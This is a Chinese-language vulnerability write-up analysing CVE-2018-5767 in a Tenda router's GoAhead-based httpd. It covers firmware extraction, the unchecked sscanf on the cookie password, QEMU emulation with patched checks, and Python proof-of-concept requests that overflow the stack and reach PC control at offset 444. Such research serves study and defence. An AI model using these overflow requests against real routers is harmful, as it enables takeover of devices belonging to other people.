IoT 安全之 CVE-2018-5767 分析
source link: https://paper.seebug.org/2065/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:Ryze-T
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
0x00 简介
CVE 详情:
从 Description 中可知,由 COOIKE 请求头中的 password 参数触发远程代码执行漏洞,因此固件中要分析的文件应该是 HTTP 相关的文件。
0x01 固件提取
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
得到 squashfs-root 文件夹。bin 文件下有个 httpd 二进制文件:
arm32 架构的程序。
0x02 分析
搜索 web 相关函数:
百度搜索这些函数,会发现这使用的是 goAhead 框架。字符串搜索 .1 找到一个 2.1.8,很像是版本号,搜索下载 goAhead 2.1.8。其中 webs.h 中有一个结构体:
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
找到里面特殊的 ringq_t 结构体:
typedef struct {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
} ringq_t;
sym_fd_t 其实就是 int,char_t 就是 char。
格式化后将这两个结构体导入到 IDA 中。
goAhead 2.1.8 的 main.c 中有一段:
IDA pro 中 sub_2D3F0 也有类似的一段:
这个 R7WebSceurityHandler 应该是二次开发的函数。
WebSceurityHandler 函数官方文档表明是用来做默认 URL 的安全策略的函数,若需要替换安全策略,可以修改该函数。
其函数原型如下:
#include "webs.h"
int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);
再来看 R7WebsSecurityHandler,往下翻翻就能看见一个未经限制的 sscanf:
对照 WebSceurityHandler,将 a1 替换成之前的 websRec 结构体:
漏洞触发点出来了,cookie 中 password 的值未经过滤,可能会导致栈溢出。
但是要达到这条路径没有那么简单,还有一些条件:
因此需要找一个符合条件的目录,比如 goform/execCommand。
0x03 固件模拟
qemu-arm 指定根路径启动httpd:
qemu-arm -L ./ ./bin/httpd
找到关键词:
有一个关于 check_network函数的校验,可能会导致死循环,先patch掉:
再次运行还是报错:
再次搜索关键词,发现触发了 ConnectCfm(v2) 的判断,再patch,再执行:
监听255.255.255.255了,这里配置一下桥接网络。
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd
0x04 PoC
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'a' * 500
headers = {
'Cookie': 'password="' + payload + '"'
}
print(headers)
response = requests.request("GET", url, headers=headers)
gdb-multiarch 调试一下,程序断在这:
可以看到,r3已经被覆盖为 'aaaa',由于程序访问了r3处的内存,造成内存读取错误,程序并没有走到函数返回处。
通过对花括号的匹配,漏洞触发点后续的代码运行都取决于93-100行的判断:
此判断是判断 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判断失败,从而直接运行到函数尾部。
但在在判断前,url已经被我们所覆盖,因此只要在payload中加上.png就可以完成目标。
再次尝试并计算偏移:
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
PC被劫持,且偏移为444。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2065/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK